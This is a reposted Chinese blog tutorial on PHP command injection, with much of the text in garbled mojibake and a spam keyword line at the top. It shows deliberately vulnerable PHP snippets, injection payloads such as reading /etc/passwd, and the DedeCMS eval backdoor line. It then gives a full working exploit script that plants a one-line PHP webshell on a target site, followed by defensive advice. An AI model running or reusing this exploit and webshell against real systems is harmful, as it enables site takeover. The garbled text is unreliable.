日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

PHP命令注入***

發(fā)布時(shí)間:2023/12/9 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP命令注入*** 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

PHP命令注入***漏洞是PHP應(yīng)用程序中常見的腳本漏洞之一,國內(nèi)著名的Web應(yīng)用程序Discuz!、DedeCMS等都曾經(jīng)存在過該類型漏洞。本文描述了常見的PHP命令注入***漏洞存在形式和利用方法,結(jié)合漏洞實(shí)例進(jìn)行分析和漏洞利用,并針對如何防范PHP命令注入***漏洞給出了可行的方法和建議。

Command Injection,即命令注入***,是指由于Web應(yīng)用程序?qū)τ脩籼峤坏臄?shù)據(jù)過濾不嚴(yán)格,導(dǎo)致***可以通過構(gòu)造特殊命令字符串的方式,將數(shù)據(jù)提交至Web應(yīng)用程序中,并利用該方式執(zhí)行外部程序或系統(tǒng)命令實(shí)施***,非法獲取數(shù)據(jù)或者網(wǎng)絡(luò)資源等。命令注入***最初被稱為Shell命令注入***,是由挪威一名程序員在1997年意外發(fā)現(xiàn)的,他通過構(gòu)造命令字符串的方式從一個(gè)網(wǎng)站刪除網(wǎng)頁,就像從硬盤中刪除一個(gè)文件一樣簡單。下面我們結(jié)合PHP語言的特性,對PHP命令注入***進(jìn)行簡要的分析和描述。

PHP命令注入***

PHP命令注入***存在的主要原因是Web應(yīng)用程序員在應(yīng)用PHP語言中一些具有命令執(zhí)行功能的函數(shù)時(shí),對用戶提交的數(shù)據(jù)內(nèi)容沒有進(jìn)行嚴(yán)格的過濾就帶入函數(shù)中執(zhí)行而造成的。例如,當(dāng)***提交的數(shù)據(jù)內(nèi)容為向網(wǎng)站目錄寫入PHP文件時(shí),就可以通過該命令注入***漏洞寫入一個(gè)PHP后門文件,進(jìn)而實(shí)施進(jìn)一步的******。

命令執(zhí)行函數(shù)利用

在PHP中,可以實(shí)現(xiàn)執(zhí)行外部程序或函數(shù)的命令執(zhí)行函數(shù)包括以下5個(gè)函數(shù)。

1. System:system函數(shù)可以用來執(zhí)行一個(gè)外部的應(yīng)用程序并將相應(yīng)的執(zhí)行結(jié)果輸出,函數(shù)原型如下:

string system(string command, int &return_var)

其中,command是要執(zhí)行的命令,return_var存放執(zhí)行命令的執(zhí)行后的狀態(tài)值。

按照PHP程序員的想法,命令執(zhí)行函數(shù)的主要作用是可以通過命令執(zhí)行函數(shù)與Web應(yīng)用程序進(jìn)行交互,通過Web應(yīng)用程序執(zhí)行外部程序或系統(tǒng)命令,如Web應(yīng)用程序員想通過system函數(shù)獲取指定目錄的文件內(nèi)容,那么他可以通過構(gòu)造如下代碼實(shí)現(xiàn)。

<?

$dir = $_GET["dir"];

if(isset($dir))

{

echo "<pre>";

system("ls -al".$dir);

echo "</pre>";

}

?>

Web應(yīng)用程序員可以通過提交不同的dir內(nèi)容來獲取不同目錄下的文件信息,但是***可以通過使用下列URL來進(jìn)行命令注入***:

file.php?dir=|cat /etc/passwd

結(jié)果system函數(shù)執(zhí)行的命令就變成如下內(nèi)容:

System(“l(fā)s –al|cat /etc/passwd”);

這個(gè)命令就會(huì)將/etc/passwd文件中的內(nèi)容反饋給***。

同樣,構(gòu)造PHP代碼如下:

<?

$cmd = $_GET["cmd"];

echo "<pre>";

system($cmd);

echo "</pre>";

?>

在瀏覽器中訪問這個(gè)PHP文件,并提交cmd的內(nèi)容為“net start”,***目的是通過命令注入***查看Web服務(wù)器主機(jī)都開啟了哪些服務(wù),訪問執(zhí)行后返回的結(jié)果如下圖1所示:

圖1

2. Exec:exec函數(shù)可以用來執(zhí)行一個(gè)外部的應(yīng)用程序,函數(shù)原型如下:

string exec (string command, array &output, int &return_var)

其中,command是要執(zhí)行的命令,output是獲得執(zhí)行命令輸出的每一行字符串,return_var存放執(zhí)行命令后的狀態(tài)值。

可以通過構(gòu)造如下PHP代碼進(jìn)行測試:

<?

$cmd = $_GET["cmd"];

$output = array();

echo "<pre>";

exec($cmd,$output);

echo "</pre>";

while(list($key,$value)=each($output))

{

echo $value."<br>";

}

?>

3. Passthru:passthru函數(shù)可以用來執(zhí)行一個(gè)UNIX系統(tǒng)命令并顯示原始的輸出,當(dāng)UNIX系統(tǒng)命令的輸出是二進(jìn)制的數(shù)據(jù),并且需要直接返回值給瀏覽器時(shí),需要使用passthru函數(shù)來替代system與exec函數(shù)。Passthru函數(shù)原型如下:

void passthru (string command, int &return_var)

其中,command是要執(zhí)行的命令,return_var存放執(zhí)行命令后的狀態(tài)值。

可以通過構(gòu)造如下PHP代碼進(jìn)行測試:

<?

$cmd = $_GET["cmd"];

echo "<pre>";

passthru($cmd);

echo "</pre>";

?>

4. Shell_exec:執(zhí)行shell命令并返回輸出的字符串,函數(shù)原型如下:

string shell_exec (string command)

其中,command是要執(zhí)行的命令。

可以通過構(gòu)造如下PHP代碼進(jìn)行測試:

<?

$cmd = $_GET["cmd"];

echo "<pre>";

shell_exec($cmd);

echo "</pre>";

?>

5. ``運(yùn)算符:與shell_exec功能相同,執(zhí)行shell命令并返回輸出的字符串。

可以通過構(gòu)造如下PHP代碼進(jìn)行測試:

<?

$cmd = $_GET["cmd"];

$output = `$cmd`;

echo "<pre>";

echo $output;

echo "</pre>";

?>

Eval注入***利用

在PHP語言中,除了上述5種常見的命令執(zhí)行函數(shù)可以導(dǎo)致命令注入***以外,還有另外一種命令注入***方式,我們稱之為eval注入***方式。Eval函數(shù)會(huì)將參數(shù)字符串作為PHP程序代碼來執(zhí)行,用戶可以將PHP代碼保存成字符串的形式,然后傳遞給eval函數(shù)執(zhí)行。Eval函數(shù)的原型如下:

Mixed eval(string code_str)

Code_str是PHP代碼字符串,***可以通過構(gòu)造傳入eval函數(shù)中的全部或部分字符串的內(nèi)容實(shí)現(xiàn)命令注入***。

為了測試eval命令注入***,我們構(gòu)造PHP代碼如下:

<?

$cmd = $_GET["cmd"];

eval($cmd);

?>

然后我們提交cmd內(nèi)容為“phpinfo();”,phpinfo函數(shù)的作用是查看當(dāng)前php環(huán)境相關(guān)信息的函數(shù)。在瀏覽器中提交http://127.0.0.1/index.php?cmd=phpinfo();后,返回結(jié)果如下圖2所示。

圖2

我們發(fā)現(xiàn)我們提交的字符串“phpinfo();”經(jīng)過eval函數(shù)的處理后,可以按照PHP函數(shù)進(jìn)行執(zhí)行,并將結(jié)果反饋給我們,那么執(zhí)行相應(yīng)的其他PHP函數(shù),如寫入文件,查詢文件信息等功能的代碼字符串時(shí),同樣可以執(zhí)行。

PHP語言中的preg_replace函數(shù)、str_replace函數(shù)以及call_user_func函數(shù)同樣可以實(shí)現(xiàn)eval注入***的效果。這里我們以preg_replace函數(shù)作為例子進(jìn)行描述,str_replace函數(shù)以及call_user_func函數(shù)實(shí)現(xiàn)的方法類似,大家可以參考網(wǎng)上對這兩個(gè)函數(shù)的描述自行測試。Preg_replace函數(shù)的作用是用來執(zhí)行常規(guī)表達(dá)式的查找和替換的,函數(shù)原型如下:

Mixed preg_replace(mixed pattern, mixed replacement, mixed subject, int limit, int &count)

其中,Pattern是用來查找的常規(guī)表達(dá)式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串?dāng)?shù),count是成功替換的數(shù)目。函數(shù)將返回替換后的字符串,當(dāng)Pattern參數(shù)使用/e修正符時(shí),preg_replace函數(shù)會(huì)將replacement參數(shù)當(dāng)作 PHP代碼執(zhí)行,那么,針對此種情況,當(dāng)replacement內(nèi)容為用戶可控?cái)?shù)據(jù)時(shí),就可能導(dǎo)致命令注入***漏洞的形成。為了測試preg_replace函數(shù),我們構(gòu)造PHP代碼如下:

<?

$string = "hello world";

$pattern = "/^/e";

echo preg_replace($pattern, $_GET["str"], $string);

?>

同樣在瀏覽器中提交http://127.0.0.1/index.php?str=phpinfo();,返回結(jié)果如下圖3所示,phpinfo()函數(shù)也被執(zhí)行了。

圖3

漏洞實(shí)例分析

通過上述對常見PHP命令注入***存在的情況,我們結(jié)合實(shí)際漏洞存在情況,分析一下如何利用命令注入***漏洞。我們這里以國內(nèi)著名的織夢網(wǎng)站管理系統(tǒng)(DeDeCMS)為例進(jìn)行描述。

今年3月22日,織夢官方網(wǎng)站提供下載的織夢CMS(Dedecms) v5.7 sp1版本中的shopcar.class.php文件被植入一句后門代碼,如圖4所示:“@eval(file_get_contents('php://input'));”。

圖4

通過分析查看,我們發(fā)現(xiàn)代碼插入的位置為類MemberShops的構(gòu)造函數(shù)中,而插入的代碼正好是我們上面描述存在命令注入***的eval函數(shù),那么執(zhí)行的內(nèi)容是否為可控內(nèi)容呢?php://input是一個(gè)輸入流,可以通過POST方式獲取相應(yīng)的原始數(shù)據(jù)內(nèi)容,也就是說eval函數(shù)執(zhí)行的內(nèi)容可以通過構(gòu)造POST數(shù)據(jù)包的方式進(jìn)行控制,也就導(dǎo)致了命令注入***漏洞的形成。那么,要如何利用這個(gè)漏洞實(shí)施***呢?后門代碼出現(xiàn)在MemberShops類的構(gòu)造函數(shù)中,那么通過搜索程序中哪些地方使用了這個(gè)類就可以進(jìn)行檢測,最簡單的方法就是找到?jīng)]有特殊條件直接執(zhí)行new操作的頁面就可以了。這里使用plus目錄下的car.php文件,如圖5所示。

圖5

在car.php文件的第17行代碼處,我們發(fā)現(xiàn)了可以被我們利用的地方,那么結(jié)合我們剛剛的分析,我們構(gòu)造一個(gè)POST數(shù)據(jù)包,內(nèi)容如下圖6所示。

圖6

這里我們插入的數(shù)據(jù)內(nèi)容是“echo "Command Injection Test";”,當(dāng)數(shù)據(jù)執(zhí)行到eval函數(shù)時(shí),執(zhí)行的相應(yīng)操作為eval(echo "Command Injection Test";);,echo函數(shù)的功能是輸出相應(yīng)的字符串,那么我們就可以根據(jù)服務(wù)器返回的數(shù)據(jù)包中觀察是否含有特征字符串“Command Injection Test”即可。當(dāng)發(fā)現(xiàn)該字符串存在時(shí),說明echo函數(shù)被執(zhí)行了,也就說明命令注入***漏洞利用成功。我們在本地測試環(huán)境中使用NC對上述構(gòu)造的POST數(shù)據(jù)包進(jìn)行提交,返回的數(shù)據(jù)報(bào)文如下圖7所示。

圖7

從返回的數(shù)據(jù)內(nèi)容中我們發(fā)現(xiàn)了我們定義的特征字符串“Command Injection Test”,也說明了echo函數(shù)被執(zhí)行了,該命令注入***漏洞可以被成功利用。但是,我們又如何更好地利用這個(gè)命令注入***漏洞呢?簡單輸出一個(gè)字符串根本無法達(dá)到我們******網(wǎng)站的目的,那么我們繼續(xù)嘗試構(gòu)造輸入的命令信息,嘗試寫入一個(gè)PHP文件,也就可以成功獲取網(wǎng)站的webshell。想寫入文件,我們也就想到了PHP中的fputs函數(shù),我們構(gòu)造提交的數(shù)據(jù)內(nèi)容為“fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');”,這句代碼的作用是向目錄中寫入一個(gè)1.php的文件,并且文件的內(nèi)容為“<?php @eval(\$_POST[c])?>”,這個(gè)也正是我們常說的PHP一句話***,為了實(shí)現(xiàn)該命令注入***漏洞利用的通用性,我們通過PHP構(gòu)造一個(gè)漏洞利用程序,程序代碼如下:

<?php

if ($argc < 3) {

print_r("

+---------------------------------------------------------------------------+

Usage: php ".$argv[0]." host path

Example:

php ".$argv[0]." www.xxx.com /dedecms/

+---------------------------------------------------------------------------+

");

exit;

}

error_reporting(7);

ini_set("max_execution_time", 0);

$host = $argv[1];

$path = $argv[2];

$cmd = "echo \"exploitsuccess\"; fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');";

$resp = send($cmd);

if (eregi("exploitsuccess",$resp))

{

echo "[+] Exploit Success!\n";

echo "[+] Webshell: http://".$host.$path."plus/1.php\n";

echo "[+] Webshell Password: c\n";

}else{

echo "[-] Exploit failed!\n";

}

function send($cmd)

{

global $host, $path;

$message = "POST ".$path."plus/car.php HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: http://$host$path\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";

$message .= "Host: $host\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Cookie: PHPSESSID=7qmtag178ilo7gep29ubj4n3a1;

OrdersId=UAcELgBRBDNZPAszAWBTal5rBWQANQ86BzANUlcfVTYBNlBg\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

?>

該漏洞利用程序的作用是用戶只需要將網(wǎng)站網(wǎng)站域名和dedecms的路徑輸入即可,程序會(huì)自動(dòng)實(shí)現(xiàn)漏洞利用,寫入webshell,并將相關(guān)信息進(jìn)行反饋,對本地環(huán)境測試的結(jié)果如下圖8所示:

圖8

結(jié)果顯示我們成功獲取webshell,連接地址為http://127.0.0.1/dede/plus/1.php,密碼為c。使用工具連接該webshell地址可以成功連接并獲取網(wǎng)站目錄及文件的相關(guān)信息,如下圖9所示。

圖9

PHP命令注入***漏洞的防范

通過上面的分析和描述,我們發(fā)現(xiàn)PHP中命令注入***漏洞帶來的危害和影響很嚴(yán)重。防范命令注入***漏洞的存在可以通過以下幾種方法。

1. 盡量不要執(zhí)行外部的應(yīng)用程序或命令。

2. 使用自定義函數(shù)或函數(shù)庫實(shí)現(xiàn)外部應(yīng)用程序或命令的功能。

3. 在執(zhí)行system、eval等命令執(zhí)行功能的函數(shù)前,確定參數(shù)內(nèi)容。

4. 使用escapeshellarg函數(shù)處理相關(guān)參數(shù)。Escapeshellarg函數(shù)會(huì)將任何引起參數(shù)或命令結(jié)束的字符進(jìn)行轉(zhuǎn)義,如單引號“’”會(huì)被轉(zhuǎn)義為“\’”,雙引號“””會(huì)被轉(zhuǎn)義為“\””,分號“;”會(huì)被轉(zhuǎn)義為“\;”,這樣escapeshellarg會(huì)將參數(shù)內(nèi)容限制在一對單引號或雙引號里面,轉(zhuǎn)義參數(shù)中所包含的單引號或雙引號,使其無法對當(dāng)前執(zhí)行進(jìn)行截?cái)?#xff0c;實(shí)現(xiàn)防范命令注入***的目的。

5. 使用safe_mode_exec_dir執(zhí)行可執(zhí)行的文件路徑。將php.ini文件中的safe_mode設(shè)置為On,然后將允許執(zhí)行的文件放入一個(gè)目錄中,并使用safe_mode_exec_dir指定這個(gè)可執(zhí)行的文件路徑。這樣,在需要執(zhí)行相應(yīng)的外部程序時(shí),程序必須在safe_mode_exec_dir指定的目錄中才會(huì)允許執(zhí)行,否則執(zhí)行將失敗。

PHP命令注入***漏洞是PHP應(yīng)用程序常見漏洞之一。國內(nèi)著名的PHP應(yīng)用程序,如discuz!、dedecms等大型程序在網(wǎng)絡(luò)中均被公布過存在命令注入***漏洞,***可以通過命令注入***漏洞快速獲取網(wǎng)站權(quán)限,進(jìn)而實(shí)施掛馬、釣魚等惡意***,造成的影響和危害十分巨大。同時(shí),目前PHP語言應(yīng)用于Web應(yīng)用程序開發(fā)所占比例較大,Web應(yīng)用程序員應(yīng)該了解命令注入***漏洞的危害,修補(bǔ)程序中可能存在的被***利用的漏洞情況,保護(hù)網(wǎng)絡(luò)用戶的安全,免受掛馬、釣魚等惡意代碼的***


轉(zhuǎn)載于:https://blog.51cto.com/putian/1230650

總結(jié)

以上是生活随笔為你收集整理的PHP命令注入***的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。